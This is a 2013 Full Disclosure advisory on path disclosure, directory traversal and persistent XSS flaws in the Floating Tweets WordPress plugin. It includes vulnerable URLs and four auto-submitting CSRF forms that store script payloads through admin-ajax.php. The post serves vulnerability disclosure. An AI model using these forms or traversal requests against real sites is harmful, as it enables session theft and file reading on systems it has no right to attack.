Full Disclosure mailing list archives

Multiple vulnerabilities in Floating Tweets for WordPress


From: "MustLive" <mustlive () websecurity com ua>
Date: Sat, 12 Jan 2013 16:19:34 +0200

Hello list!

I want to warn you about multiple vulnerabilities in plugin Floating Tweets 
for WordPress.

These are Full path disclosure, Directory Traversal and Cross-Site Scripting 
vulnerabilities.

-------------------------
Affected products:
-------------------------

Vulnerable are Floating Tweets 1.0.1 and previous versions.

----------
Details:
----------

Full path disclosure (WASC-13):

http://site/wp-content/plugins/floating-tweets/dcwp_floating_tweets.php

http://site/wp-content/plugins/floating-tweets/dcwp_floating_tweets_widget.php

http://site/wp-content/plugins/floating-tweets/skin.php?skin=1

Directory Traversal (Windows) (WASC-33):

http://site/wp-content/plugins/floating-tweets/skin.php?widget_id=2&skin=1\1

DT allows to read only css-files (in folder /skins/ and subfolders). At 
turned off mq it's possible to use Null Byte Injection, which allows via DT 
to read arbitrary files.

XSS (persistent XSS) (WASC-08):

Three persistent XSS holes. For attack it's needed to bypass protection 
against CSRF (parameter savewidgets). E.g. using reflected XSS.

Floating Tweets XSS.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php"; 
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][twitterUrl]" 
value='" style="xss:expression(alert(document.cookie))'>
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Floating Tweets XSS-2.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php"; 
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][linkText]" 
value='" style="xss:expression(alert(document.cookie))'>
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Floating Tweets XSS-3.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php"; 
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][tabText]" 
value='" style="xss:expression(alert(document.cookie))'>
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Examples of attack for these three XSS on IE7 and previous versions. With 
using of MouseOverJacking it's possible to attack any browsers. The code 
will execute right away at sending request and further at visiting 
http://site/wp-admin/widgets.php.

Floating Tweets XSS-4.html

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/wp-admin/admin-ajax.php"; 
method="post">
<input type="hidden" name="widget-dc_jqfloatingtweets_widget[3][tabText]" 
value="'});alert(document.cookie);a({b:'">
<input type="hidden" name="widget-id" value="dc_jqfloatingtweets_widget-3">
<input type="hidden" name="id_base" value="dc_jqfloatingtweets_widget">
<input type="hidden" name="action" value="save-widget">
<input type="hidden" name="savewidgets" value="e8af3131f4">
<input type="hidden" name="sidebar" value="primary-widget-area">
</form>
</body>

Example of attack on any browsers. The code will execute at main page and at 
any external pages of the site.

------------
Timeline:
------------ 

2012.08.30 - announced at my site.
2012.08.31 - informed developer.
2013.01.11 - disclosed at my site (http://websecurity.com.ua/6023/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


Current thread: